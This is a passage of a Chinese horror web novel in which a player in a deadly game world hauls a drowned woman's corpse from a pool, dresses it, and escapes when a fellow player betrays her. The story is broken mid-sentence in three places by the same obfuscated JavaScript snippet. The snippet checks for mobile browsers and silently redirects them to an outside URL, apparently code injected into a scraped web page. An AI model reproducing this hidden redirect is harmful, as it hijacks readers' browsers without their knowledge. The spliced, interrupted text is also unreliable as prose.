水下漆黑一片,仅有幽光照亮周围一米左右的水域,气泡上升,在林昭月的眼中是暗绿色的。深水的标注是1.8米,但她一直没有踩到游泳池的底部。这景象让她心惊,连忙浮出水面。 面部一离开水下,阳光照在身上,游泳池依旧是清澈见底的模样。 韩东见她神情有异,主动说:“我一直看着水下,没发现不对劲的地方。” 林昭月明白过来,水下的异常,岸上的人根本看不到。 她又一次向下潜去,这次可以确定,水下深不见底。她不敢往下游太多,对自己的水性不是太有信心之余,呼吸管的长度也有限。 这样的环境里,时间过得很慢,林昭月数到108的时候,前面出现一个东西,轮廓模糊,看不出是什么。她没有选择,只能继续向前游。 随着距离的拉近,她看到一具站在水中的躯体,肿胀的皮肤泛着青灰,像是裹了层半透明的腐皮。花白的头发像是水草一般散开,时而遮住紧闭的双目。 林昭月硬着头皮抓住她的一只手,手指像是陷进发面馒头里,但触感却不是温热的,刺骨的冰凉,也许是遭受压力的缘故,这只手背处皮肤鼓胀得几乎要裂开。 林昭月放开手,想另寻一个妥善的搬尸方法,女尸闭着的双眼却在此时骤然睁开,浑浊眼珠里翻涌着诡异的灰白色,像是被泥浆填满的井口。 林昭月忍住转身游到水面上的冲动,干笑一声说:“水底太冷,我带您上去晒晒太阳?” 说完心里懊悔不已,鬼都是昼伏夜出的,邀请他们晒太阳,无异于当面送上一句“去死吧”。 先上去拿绳子,再下来吧。 林昭月这样想着,一个转身向上游去。刚摆动手臂几下,就觉得背后有东西在靠近,转身一看。 只见女尸迈开脚向上走,像是爬楼梯一样,此时距离她已经非常近,几乎是贴在她背上的。 那双手缓缓抬起来,直接扣住她的肩膀。 好冷! 林昭月打着哆嗦,闷头往上游。 “哗啦”一声,她钻出水面。 岸上的玩家们冲到泳池旁,无一不瞳孔地震,然后用比冲过来更快的速度,转身跑到更远的地方。寻找遮蔽物,迅速躲起来。 林昭月:“……” 17.圣母垂泪(十七) 林昭月没有上岸,而是从拱桥底下穿过,朝着房间的方向游去。直到她游到房间的阳台旁,抓住扶梯,准备上岸,韩东三人这才重新围拢过来。 韩东问:“衣服怎么换?” 三个型号的旗袍都放在房间的床上,可以女尸现在的体型,哪一件也穿不进去。 林昭月说:“别的先缓一缓,我先背这位就座。” 南黎川说:“我来搭把手。” “不要命尽管来。” 南黎川吓得连连后退,恨不得把脑袋都缩进胸膛里以保平安。 林昭月没开玩笑,她脖子上挂着银镯子才没事的,换个人碰一下女尸试试? 她深吸一口气,开始往上爬。冰凉的躯体贴在背脊上,像是背着一块坚冰。她有半边身体都是麻的,已经被冻得失去知觉,而且每走一步,她都明显感觉到身后背负的女尸变重一分,并非脱离水中浮力的错觉,分明是有一股来自水中的力量,意欲拽下女尸,将其拖回池底。 一条腿上岸的时候,林昭月已经是气喘吁吁,浑身大汗,难以再往前一步。只得休息几秒,等缓过劲来,这才一鼓作气将剩下的一条腿拔出水中。 彻底离开泳池,她挺腰直背,像是身后没有背着一具尸体般,轻松自如,健步如飞。 可她心里更凉。 女尸应该很重才对,失去意识的人背在身上会比主动配合的人重上许多,更何况是巨人观的尸体,但林昭月能感觉到背后的她,就是感觉不到重量。 这种另类的似有似无,叫人心中惶惶。 林昭月来到化妆镜前,将女尸放下来。巨大的身躯挤在小小的椅子里,看起来非常不和谐。好在女尸眼睑下垂着,也无任何动作,否则除林昭月以外的人就该转身逃跑了。 刚才温度正常的房间,此刻冷得像要结冰一样。每在此处待一秒,心跳就会加快几拍。 高庆晴颤着声问:“我们是不是还要给她染头发?” 现在已经没有人会质疑女尸的身份,可拼图图纸中的女人是一头黑发啊。 “先不用管头发,”林昭月心中早有猜测,只要把镯子给女尸戴上。她的样子应该会有变化,最麻烦的还是衣服。 这也是她要求三人进屋帮忙的原因。 林昭月走向门口,她浑身都在滴水,走过之处留下一行水印。 林小满在外面等着她,见她出来按事先说好的,把她放在自己这里的包递给她。林昭月摸到里面的物品,对她点点头。 “很快我们就能离开这里了。” 林小满拿出一张千纸鹤纸张,上面写着:我想进去帮忙。 “不行,里面很危险。” 林小满又递给她一张纸,上面写着:我知道,我不会添乱的。 “可是只要你在里面,我就没办法专心做事,”林昭月笑着说:“乖,不要进来,但也不要走得太远离开我的视线。好吗?” 林小满含泪点头,伸手比画。 林昭月一脸轻松地说:“我一定会平安没事的,放心吧。” 她走回房间的时候,椅子上的女尸还是原样,低垂着头,眼睑半睁,一副将睡未睡,并无多少威胁性的样子。三个大活人却是以不同的姿态,用身体贴着墙壁,似乎恨不得离女/尸越远越好,像极随时准备断尾求生的壁虎。 林昭月自然不会认为他们是在玩行为艺术。 “怎么回事?” 高庆晴张开嘴,林昭月连忙伸手阻止她:“你别说话,让南黎川说。” 高庆晴:“……” 她闭上嘴,内心宽面条垂泪,但毫无底气说自己绝不会结巴,只能默默emo。 南黎川言语简洁:“你一离开,她她她就抬起头,睁开眼睛。” 虽然只是一个简单的动作,没有站起来的意思,但房间里的三人已经是遍体生寒,要不是不能跑,恨不得有多远跑多远永远不再靠近这间房间一步。 真正的恐惧,竟是连尖叫声都难以发出来。 敢于下水捞尸的林昭月,又是什么品种的勇士? 女尸的异动让林昭月心中蒙上一层阴霾,她招呼三人走到门口,说出自己的计划:“等会儿回去之后,我会先给她梳头发,然后脱掉她的外衣。接着,便是最重要也是最容易出问题的一环,我会把镯子戴回女尸的手腕上。” 镯子的由来,韩东是知晓的。 林昭月说:“女尸大概率会有一些变化。你们两人什么都不要管,只专注一件事情——给她套上旗袍。高庆晴负责穿,南黎川从旁协助,没有把旗袍穿好之前,无论发生什么事情,你们都不能逃。” 韩东阴沉着一张脸,威胁道:“谁敢先逃,我和林小姐不会放过他的。”话音一转,他骤然更换一张温和的脸孔:“还差最后一块碎片,大家就能一起活。你们也不想浪费机会,害所有人都死在这里吧。” 两人连连点头,发誓一定把事情办好。 林昭月看向韩东,韩东说:“林小姐见我用过天赋技能,自己也有天赋技能,应该已经知晓,天赋技能都有缺陷。” 林昭月点头,韩东的技能缺陷大概率是触发机制。 果然如她所料,韩东继续说道:“我的天赋技能,必须在抓住那些东西双手的情况下才能使用,而且女尸大概率可以挣脱,就像是小姐姐一样。” 他更想做带着拼图碎片逃走的人。 林昭月直截了当地打断他:“我的天赋技能,对上女尸完全不能发挥作用。” 韩东:“……” 这一点他是信的。 这毕竟是个新人。 林昭月的确没有说谎,法力值可以把她拔高到那些东西的水平,理解为把那些东西压制到她一样的维度也可以。若把没有法力值的她比作一个襁褓中的婴儿,整个酒店的任何一个怪物都可以在突然袭击中杀死她。 5点法力值,让她变成两岁的孩童。 前台工作人员,相当于一个四岁的小孩。 清洁工六七岁,她能趁对方没站稳的时候,用尽吃奶的力气拉对方一把。对方会被她拉着向前几步,一点都不奇怪。 可是女尸是一个成年人。 面对一个成年人,襁褓中的婴儿和两岁的小孩差别真的不大。区区五点法力值,聊胜于无的评价,可谓十分贴切。 四人重新回到房间里,女尸还是同一个姿势坐在那里,像是一直没有动过一样。 林昭月进去之后,先调整女尸的坐姿,保证她的脸可以正对着梳妆镜,然后撕开房间里的一次洗浴包,里面的梳子质量出奇的好。 这家酒店没有荒废之前,房费一定不便宜。 花白的头发在水中的时候非常柔顺,随着女尸一起上岸之后,因为太长的缘故,有一些打结。她每一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488959|169298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从额头往下梳的时候,都要放轻力道,再慢慢加重。这是害怕把女尸的头皮弄破,梳齿分开的每一缕头发都具备活着的特性,会随着力道的变化而轻微地扭动。 林昭月将茂密的头发从中间分开,腐肉之下的颅骨清晰可见。一直被忽略的臭味迎面袭来,让她想起海鲜市场的垃圾桶。九月份的时候,任何一个人从旁经过,都会掩住口鼻。 她强忍住没有这么做,害怕激怒女尸。 而且真的捂住口鼻,手上的事情又该怎么做完呢? 林昭月只能想一想别的事情转移注意力,女尸的头发很多,发量是一般女性的两到三倍。一半的头发抓在手里都觉得挺沉,让她想起妹妹林沉雪。 她一直都是短发,短发方便。 小雪却是从小就留长发,有她在洗头的时候多费一点时间,多用一点水,洗发露不够,需要想办法获得护发素都不是大事。毕竟,这么好的头发不留长太可惜。 福利院里的老师都喜欢小雪,大孩子小孩子都怕她。 姐妹俩的组合在需要争夺资源的福利院里可以说是无敌的存在,纵然早年间的物质条件不算太丰富,林昭月自认一直来把妹妹照顾得都很不错。 她的手指灵活,一条漂亮的辫子很快坠在胸前。油亮滑顺,那丝丝缕缕的白竟不太扎眼了。 另一条辫子很快也完成了。 林昭月开始解女尸的外衣,里面还有宽肩带的圆领贴身小马甲,同样和工作服一样被撑得鼓鼓囊囊,几欲爆开。 其实此时谈隐/私和性别已经没有意义,但女尸还有自我意识更有行动能力,谁敢不尊重她? 一切就绪,另外一直在旁边看着,并没有插手的三人下意识屏住呼吸。 林昭月用弹簧刀割断脖子上的棉绳,她之前害怕银镯子掉落,打的是个死结,没办法自行解开。 老式银镯子稳稳掉在林昭月的手心里,女尸的头缓缓抬起一厘米,向她所在的方向偏转少许,似乎是在用眼角的余光观察她的动作。 林昭月拉起女尸的左手,将银镯子套上去。 女尸的手指肿得像是胡萝卜,手背上的黑色经络高高鼓起,她本以为将镯子戴到手腕上很难,没想到银镯子和肿胀的左手都像是提前抹过润/滑/油一样,圈口不大的镯子轻易滑到手腕处,从头到尾没有一丝阻碍。 接着,这只手小幅度地左右晃动起来。 每晃一下,女尸的肿胀就消失一分,巨人观以肉眼可见的速度褪去。恢复平滑的皮肤柔嫩、细腻,甚至难以寻找到毛孔,更无一丝褶皱。 六七十岁,可能实际年龄更大的一些的老妪尸体,竟然变为二八年华的艳/尸,身段窈窕又丰盈。鬼魅之气萦绕面庞,连身上廉价的马甲也被衬托得非同寻常。 她动了。 猛地睁大眼睛,抬起双手,并翻转它们。手心手背灰白一片,绝不是活人的手,可是指节灵活,根根纤细,连指甲都是圆润没有劈裂的。 林昭月扭头看向站在一旁高庆晴,无声催促:“快啊——” 趁女尸还沉浸在自身的变化中,快给她换衣服! 高庆晴猛然惊醒过来,将手中的衣物往女尸头上套去,瞳孔却是骤然一缩。 女尸不知何时已经低头垂眸,看着半蹲在地上无知无觉的林昭月,惨白的面皮上隆起两道笑弧,淬着剧毒一般的恶意,倾泻而下—— 18.圣母垂泪(十八) 高庆晴心一横,旗袍套进女尸的脖子里。 南黎川立刻就伸手帮忙往下拉,只听得“库刺”一声。那是拉链劈开的声音,高庆晴又气又怕,小声骂道:“你是猪吗?袖子!先得把手套进袖子里。” 头一次被社畜当面辱骂,南黎川却是一点都不生气,闻言连连点头,捧起一只冰凉的胳膊,往半臂袖中塞去。他额头上全是汗,手心里的汗更多,抓着的胳膊也是水淋淋的滑腻腻的。 他手中一空,女尸的胳膊已经垂下去了。 南黎川连忙又去捞,那条胳膊抬起来,手掌拍在他的胸口上,又轻又揉。让他想起女友撒娇的动作,被打一下心里也是熨帖的。 剧痛来临之前,他完全没有想到,只是手指和衬衣轻蹭一下而已,自己的胸膛怎么会皮开肉绽,鲜血直流。 直到此刻,他才意识到自己是被嫌弃了。 一条条挂在胸前的碎布条,和深可见骨的五道伤痕就是证明。 南黎川倒退数步,摔倒在地上,捂着嘴向墙根挪动。 此时此刻,不发出痛呼和惊叫,已经是他能做到的极限了。几秒之后,疼痛稍缓,他视线不离梳妆镜前,脱下沾满血的衬衣,绑住伤口。 “玉皇大帝,王母娘娘,观音大士,如来佛主,上帝、耶稣,保佑我们一切顺利。” 一个无神论者,向满天神佛求助。 然而,临时抱佛脚的效果显然不够显著。 他离开得再快,血也已经喷洒出来。 刚离开人体的血还是热的,激得女尸凶性大发。 眼见她膝盖崩直,欲从椅子上站起来。韩东立刻上前,接替南黎川,握住女尸的手。冰凉的触感让他浑身一颤,察觉到掌心里的手像是一条毒蛇般要亮出毒牙,连忙摈除杂念,发出一声闷笑。 女尸膝盖一软,重新坐下来。 高庆晴根本不去思考发生了什么事,牵着女尸的手穿过一只袖口。 旗袍的构造,决定第二只胳膊想要穿进衣服里,必然较第一只手困难,她心中这样想着,拉住旗袍的下摆,往韩东抓着的那一只手套去。 一低头,看到女尸脸上的笑弧正在不断扩大,嘴角以以违背人体构造的弧度疯狂上扬,僵硬的颈骨咔咔作响,似乎已开心得不能自抑。然而,那森然的上半张脸,又是另一幅表情。两弯扭曲的眉骨下压,眼睑半阖,露出眼底翻涌的阴鸷,无数的恶意和杀欲即将从她眸中涌出来。 啊啊啊,我什么都没看到! 高庆晴将穿上衣服的一只胳膊递给韩东,视线扫过他的脸,不由目光一滞。 韩哥脸上的表情,简直是女尸的翻版。对人类来说,扭曲得有些超过极限,他已经快要翻白眼,但却大笑出声。 “哈哈哈——” “我好开心。” “我太快乐了!” 他大喊大叫,状若疯癫。 高庆晴只当自己是个瞎子,连忙给女尸套上第二只袖子。拉链拉上的那一刻,她差点喜极而泣,但最后竟不忘把堆在胸口的旗袍往下拉,一直拉到遮住大腿。这才仓惶跑向门口,跨过门槛,拉住林小满的那一刻,她才意识到自己屏息太久,连忙大口呼吸起来。 可是头昏眼花的后劲,让她依旧无法说话。 林小满努力支撑着她,若非如此,高庆晴一定会摔倒在地上,而且很可能许久都爬不起来。 她的双腿一直在颤抖。 房间里,韩东口中一甜,他的眼睛充血严重,看什么都是一片鲜红。一时间,也不知道自己是内脏在出血,还是鼻血流进嘴里了。 即使如此,他还是死死盯着女尸,不敢有丝毫大意。瞥见双手上像是冻疮一样的伤口时,心中忍不住苦笑。 他的天赋技能名为“欢逝”,只要抓住目标的手,就能用自己的欢乐感染对方。犹如病毒一样破坏其内部构造,直至目标带着欢笑死亡。 他是在上一个副本中觉醒的天赋,早已弄清技能的短板。 其中一个最致命的短板,便是他的欢乐有限,而那些东西的内部构造精密无限。有时候,他会想自己的天赋为何不是“痛逝”、“苦逝”。 那样的话,他至少可以向自己施加痛苦来解决那些东西。 “韩哥,可以了。” 林昭月出声,提醒韩东。 天赋技能使用过度,让他精神恍惚,最糟糕的是他本人没有发现这一点。 幸好,情况还不算太坏。 韩东猛地一惊,这才注意到女尸已经穿好衣服,连忙放开手,向旁边一滚。正好滚到南黎川的身边,同他凑成一对难兄难弟。 只留下林昭月还蹲在女尸脚下,不是她不想跑,而是替女尸戴上手镯的那一刻,她的双脚就被冻上了。 触地的左膝也没逃脱冰封,只是因为冰层不厚,玩家们才没发现她的窘境。 现在坚冰刚化掉一半,还需要一些时间才能逃脱。 可是女尸会给她时间吗? 女尸没有去追韩东,她甚至没有站起来,而是低头看向身上的衣服,冰冷的面庞上颤动一瞬,似乎在奇怪,人类为什么要给她换上漂亮的衣服。随即,她捞起一条麻花辫,乌黑秀丽,找不到一根白发。 于是,她揽镜自照。 可是镜中根本照不出她的脸。 女尸勃然大怒,低头怒吼一声,伸手为爪,掏向林昭月的胸膛。 冷风袭来,带着腥气,眼见小命呜呼,林昭月大喊一声:“妈妈!” 一声“妈妈”是林昭月从空白拼图中得到提示,哪怕她并不知道空白拼图在拼图游戏中的意义,但唯有她看到,剩下八人都没有发现的“胎记”、“老式银镯子”是一个提示,那孩童们的呼唤,又何尝不是另一个提示呢? 女尸的手在距离她胸膛半厘米处停下来,浑浊的眼睛注视林昭月。她每一处都变得年轻,唯有眼睛除外,灰翳如蛛网在眼球表面蔓延,浑浊的白膜覆盖整个瞳孔,依旧像是蒙着一团化不开的雾霭,其间还漂浮着絮状腐物。 恐惧如潮水般向林昭月涌来,但她一浪赛过一浪的压力中,乖巧一笑说:“妈妈,我想要镜前的拼图碎片。” 那块碎片是在女尸照镜子的时候,突兀地出现的。 那是林昭月必须得到的第四块碎片,扮演一个乖巧的女儿向妈妈索要东西,最有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493034|169298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能轻易的获得它。 让林昭月拿不准的是孩子向妈妈撒娇的姿态。 她的扮演不知道有几分真? 女尸缓缓张开嘴,喉咙一阵蠕动,竟然发出声音。 “乖孩子……” 林昭月又一次叫“妈妈”,催促对方把拼图碎片给她。她清楚的看到,女尸浑浊不堪的眼睛里面,竟然闪过一丝慈爱的光芒。 “给你,”女尸拿起镜前的拼图碎片,递给林昭月。 林昭月抓住拼图碎片的一角,女尸没有撒开手。她用上十分的力道,但拼图碎片丝毫不动。 “妈妈?” 林昭月仰起头装天真扮可爱。 “嗯,”女尸答应一声,随即喃喃道:“我忽然想起来……我似乎只有三个儿子。” 她的声音褪去久未开口的沙哑,变得虽粗糙但越发流畅,咬字也变得清楚。 林昭月有种不好的预感,总有一种忽略掉总要东西的感觉,但又觉得始终差上一线,只是模模糊糊的察觉到不祥。 林昭月只能含混道:“我真的是你的女儿,不过不是亲女儿,而是干女儿。”她笑着喊:“干妈!” 这一声呼唤,倒是真让女尸放手了。 林昭月正要收起拼图,上方的女尸骤然靠近,一张惨白的脸在眼前放大。她喉头滚动,尝试活动脚踝。 女尸看着她,似乎又没有再看她,只是透过她,看向别的什么人。 “干女儿,那是你小四。” “儿女啊……儿女啊……” 女尸绽开一个露出森森利齿的渗人笑容,眼睛更加浑浊,直勾勾看着林昭月,喃喃道:“我有三个豺狼一样的儿子……” 黑色的犹如淤泥一样的液体从女尸的眼角流出来。 三个儿子。 豺狼。 这些词组合在一起,让林昭月的脑中闪现一幕场景。 夜高风黑杀人夜,大师用一通玄而又玄的话语蛊惑三个男人把女尸淹死泳池里,以求升官、发财、阖家平安。 她以为三个男人是大师雇佣的打手,不是什么重要角色。 可是数量为三,都是男性。 加上女尸提起儿子时无尽的怨念,真相豁然揭开。 谁能想到将一位年老的母亲捆住手脚,堵住嘴巴,按进游泳池里,不顾她的挣扎,一直她死去才放手的三人,竟然会是被害者的亲生儿子。 一个母亲被她的三个儿子联合起来杀死了。只是因为他们想要升官发财,阖家平安。 阖家平安,多么讽刺啊! 女尸眼中流下来的其实是泪吧? 电光火石之间,林昭月想明白一切,可是女尸的手已经抓住她的肩膀。她双脚已经可以从鞋中挣脱,膝盖也已经从坚冰中离开。 可是,她被更坚固的牢笼困住了。 最糟糕的是她最后的底牌也已经用掉,却没想到这张牌其实是一张催命符。 “干女儿,你是不是豺狼呢?” 林昭月说:“我不是。” “撒谎,”女尸张开巨口,腥臭液体淋漓而下,如同一只敞口的麻袋,罩住林昭月的头。 19.圣母垂泪(完) 女尸关闭下颌的动作停下来,一把刀卡在女尸的嘴和林昭月的颅骨之间。 这把刀是厨师的遗物,锋利无比。可是连女尸口腔里柔软的黏膜都捅不破,并不能伤她分毫。自然不是这把刀把她逼停的,林昭月有种清晰的感觉——只要女尸愿意,可以轻易嚼烂一把刀。 让女尸停下来的是一颗石子。 窗外,一颗石子砸进来,正中女尸的后脑勺。 小小的石子掉在地上,第二颗石子朝着女尸的脸上掷来,撞在额角上,没有留下一丝伤痕,连浅淡的印记都未见半分。 可女尸怒吼一声,合上嘴巴,朝着窗户看去。 两颗石子而已伤害性不大,但侮辱性极强。 窗外站着林小满,她不能说话,颤抖着举起手,冲着女尸丢掷第三颗石子。满面孤勇之色,显然是已经害怕到极致,却在女尸走向她的时候,强忍着不肯逃跑。 傻姑娘! 可往往人一犯傻就会出现奇迹。 林昭月站起来,大喊一声:“快跑——” 说罢,头也不回地朝着外面跑去。她有信心,女尸一定会先追自己,果然没跑出几步就被一只冰冷的手抓住肩膀。 一个两岁的孩童对上成年人,本来应该毫无反抗能力,更别提挣脱桎梏。然而,林小满出现在窗外的那一刻,林昭月的心就猛然颤动几下,对天赋技能的变化有所感应。 一重契约·悉心照顾,达成了。 法力值从5点暴增至20点。 原来,只有她悉心照顾契约对象是不够的,感情的纽带永远不是单方面的付出可以缔结的。永远的单恋,走不到牵手的结局。 既然是契约,自然要另一个人也有回应才行。 林昭月庆幸一直乖乖听话的小满没有按她的要求去做,握紧手中的刀,旋身砍下。她现在相当于一个八岁的孩童,想要打赢一个大人,力量悬殊太大,有武器也不行,可是给大人制造一些伤口却不难。毕竟,厨师使用这把刀的时候,切肉剁骨轻松无比。 可见,这是一把非常好用的厨师刀。 淡黄色的液体喷涌而出,刀刃卡在小臂三分之一处,无法再进分毫。 林昭月弃刀就跑,脚底抹油一般,不带丝毫犹豫。身后一股劲风袭来,她下意识偏头躲避,一把尖刀擦着她的左耳呼啸而过,她重心偏移之下,被门槛绊倒,扑出房间。捂着破皮的耳朵,抬头一看,只见厨师刀整把陷进一棵枯萎老树的树干里,只剩下一个淌水的刀柄露在外面。 “你和你的哥哥们一样,想要杀死妈妈……” 怨毒的声音从房间里传出来,杀意激得人头皮发麻。 林昭月一骨碌从地上爬起来,头都不回就是跑。口中道:“瞧您说的。干妈,咱俩不是亲的,要是搁你这当不成独生子女,我是要单方面解除亲戚关系的。” 女尸从房间里飘出来,幽幽道:“儿女都是债。” 这是没把她的话听进去啊!林昭月跑过拱桥,却见女尸在距离游泳池还有半米的地方停住脚步,浑浊的眼睛倒映着碧蓝的池水,没有再追上来。 林昭月当即明白过来,女尸死在游泳池中,她虽是水鬼,但这片看似极浅,其实深不见底的水域曾经困住过她,她对其多少有一些畏惧心理。故而哪怕是向前一步,踏上泳池上方的小拱桥,都难以做到。 趁此机会,林昭月和绕着外围奔过来的林小满会合,各自取出拼图碎片。高庆晴和韩东紧跟其后,韩东说:“把它们按图纸拼在一起就能离开这里。” 林昭月蹲下来,将拼图碎片嵌合在一起。最后一块拼好,如图纸一般完整的一幅拼图出现在眼前。下一瞬,它快速融化,像是被猛火加热的冰块,连化成的水也很快蒸发殆尽。 原地只剩下一张空白的拼图碎片。 原来,空白拼图碎片是这么得来的。 不好,韩东不知道空白拼图碎片的存在是伪装。 原本没必要说谎的事情,故意隐瞒他们,必有筹谋。 他等的就是这一刻! 林昭月连忙捡起空白拼图碎片,往后退去。然而,一只手已越过林小满朝她抓来,大力握住她拿着拼图的手。 变故忽生,林小满和高庆晴齐齐看向韩东,却见韩东勾唇咧嘴,爆发出一阵大笑。 高庆晴大惊:“搞搞搞……” 为什么忽然使用天赋技能? 韩东要害林昭月? 念头刚在脑中闪过,就见林昭月像是早有预料一般,扭腰腾起,左手拿着一物,塞进韩东张大的嘴里。 韩东惨叫一声,松开林昭月,双手握住自己的喉咙,低头吐出卡在咽喉里的东西。那是一个125ml的玻璃酒瓶,掉在地上摔得稀碎。 他敢肯定,里面装的绝不是白酒。 高庆晴本想说“搞什么”,憋到现在脱口而出的变成一句抱怨。 “搞你爹啊!我艹。” 韩东剧痛难忍,满胸怒意,眼神如刀割向几步之外的三人。高庆晴不知哪来的胆子,骂道:“你他爹的鬼上身,还是报复社会……靠,集齐拼图碎片就能回到现实世界什么的,不会也是骗人的吧?” 打工人也是有脾气的。 高庆晴连韩东和那些东西是一伙的,这个该死的游戏有“间谍”的想法都冒出来了。 这是真的,韩东只是想抢空白拼图碎片,不会拿自己的小命开玩笑,而且地面已经在缓慢地虚化了。 韩东心想,抢夺空白碎片已经无望,早知准备应该更加周全一些。好在已通关副本,只要再过一会儿……只需要很短的时间,只需要回到现实世界,他身上的伤都会痊愈。 他根本不搭理高庆晴,哑着嗓子艰难地说:“你对我早有防备……” 林昭月:“……” 你对自己什么形象没点数吗? 难道是想拖延时间?林昭月猜到他的想法,反而愿意答疑解惑:“最早察觉你有两副面孔是因为你明知墙角的蘑菇有问题,却没有告诉其他人。是的,我和你一样将房间里的蘑菇清理干净了。可我的做法只是一种感觉,不能用来说服别的玩家。” “然后,是你带着药物却不肯分给其他人。你不是第一次进副本,怎么可能没有准备应急药物。你和南黎川一样重伤,他还在房间里,你却能出现在这里,应该是有服用止痛药吧?” “哪怕没有这些,单单只是画家的死,难道不值得我提高警惕吗?” “最后,则是你隐瞒空白拼图碎片的事了。” 完成拼图的玩家会获得一张空白拼图碎片。 韩东已经通关过两次游戏,不可能不知道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498672|169298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你作为和喊的口号大相径庭,我敢不防备你吗?” 小手雷里装着从便利店找到的原材料,密闭空间内砸碎它,会对人类造成严重的伤害,直接喝下去效果更好。 它应该对那些东西无效,但林昭月还是将其制作出来,为的就是防备韩东发难,这不就用上了。 韩东正要服软认错,再争取一点时间。心里想着,可惜了那张空白碎片…… 忽觉喉头一甜,他喷出了一口血,脑中冒出的第一个念头是“药效过了吗?”。身体的疼痛随即让他清醒过来,低头一看,一个大洞贯穿胸,原本长在那里的重要器官已经消失不见。 冰寒的凉气从里面冒出来,让人止不住地打颤。他的视线穿过洞口,看到女尸冰冷的面容。 她何时走上拱桥的? 她手里正在跳动的是我的心脏吗? 韩东抬起头,看向林昭月,呕着鲜血质问道:“你是故意跟我说话的……” “你想拖延时间,我不过是配合你而已。” 林昭月露出尴尬而不失礼貌的假笑:“不用后背对着敌人是常识啊,韩哥。” 喂喂!你不会还想厚着脸皮指责我见死不救吧? 真抱歉,我的道德被拼图游戏吃掉了。 韩东带着不甘的神情扑倒在地上,生机断绝。他脚下虚幻的地面重新凝实,恢复原样。 女尸走在陆地上,却像是还在水中一样,步行时身躯晃荡,随着无形的水波晃荡。她丢掉手中的心脏,踩着韩东朝着三人走来。一脚踩得成年男性腰部血肉塌融,再踏一步,头颅碎裂,红白之物四溅。 女尸根本不在意,一直看着林昭月,视线一瞬也未离开她,就这么带着一串血脚印,一步步逼近她。 林昭月想说“你杀了他,可不能再杀我们”,可知道没用的,只得带着两个姑娘往后退,但她不敢退出正在虚化的区域,只能拖延时间:“害你的不是我,你找那三个报仇去……” 这会她不敢提“妈妈”两个字,连干妈都不敢提,害怕刺激对方。 女尸似在问她,又似喃喃自语:“报仇?” 她神情变得癫狂,疾步向前。 看来这两个字不能提,和“妈妈”一样有刺激性。 “我说错了!” 林昭月喊道:“当妈的教儿子算什么报仇,这是爱啊!” 女尸的步伐变慢了,鬼气森森的脸上竟然出现思考的神色,潜藏在鬼魅躯体中的理智被林昭月的话语触动,复苏少许。 她说:“水好冷……” 那就是爱不起呗。 这种儿子搁谁谁能爱得起来? “好好好,我们不提爱不爱的,只提责任和义务。” 林昭月见话疗有用,继续输出:“你敢说养出三个狼心狗肺的东西,自己就没一点错处?当妈的教训儿子理所应当!赶紧弄死他们,及时纠正错误。” 女尸思考林昭月的话,有道理的话自然深入人心。回过神来时,林昭月脚下的地面已是彻底虚化。 她疾步向前,却只抓到残留的虚影,没能撕碎女儿。 “等教训过你的三个哥哥,”女尸慈爱地说:“妈妈会来找你的——” 可她的浑浊的眼眸里,只有杀意。 林昭月:“……” 20.现实世界(一) 林昭月背脊浑身一寒。 游戏里认干亲的风险好大,以后再也不敢了。 虽说女尸骇人,但林昭月此刻还真无暇顾及她。 对方难道还能追到现实世界不成? 如来时一般,离开时身体同样的骤然下陷,强烈的失重感袭来,比任何过山车带来的刺激都大。 几秒之后,初时凝滞空中的不适便消失不见。 林昭月观察起周围,还是熟悉的地方—— 黑色水墨世界里,依旧有着不知从何处而来的光源。 借着这光,林昭月看到捂着脖颈的刘悦,她似乎还未回过神来。 是的,通关对刘悦来说是毫无预兆之事。 来得突然,让人意外。 林昭月注意到,她的伤正在以肉眼可见的速度消失,血肉重生,表皮愈合。漩涡状的眼部组织一点点扭曲,挤掉干枯的疱疹菇。眼眶的轮廓率先恢复,接着一颗深棕色的眼珠子从白色眼部组织里挤出来。 最后,连米白色的衬衣都跟着复原,呈现出完整的没有破损的样子。 刘悦惊喜于自己的变化,忍不住伸手触摸完整眼睛。虽没有镜子,但指腹的触感不会出错。她好了……而且,她逃出游戏了!不由喜极而泣,心神终于归位。 这才看到林昭月,并且发现其他玩家的存在。可情绪太过激动,一时竟然难以发出声音,只是不住地对林昭月点头,用盈满泪的眼睛表达着谢意。 林昭月略一颔首,转头看向她身旁的南黎川。 南黎川尚能保持镇定,但也不过是关公喝酒——面不改色心狂跳。 进游戏时的九人,现在只剩下他们五人。大家飘在同一水平线上,就像是围坐在一张看不见摸不着的圆桌前。 林昭月转头看向左边,她一只手一直牵着林小满。对方有语言功能障碍,因此在生活中必有很多不便之处,处于游戏副本中则比一般玩家更为危险。她是没有呼救能力的,故而林昭月格外关注她,可还未看清她的神情,手中便是一空,左手五指失去抓握物,直接捏握成拳。 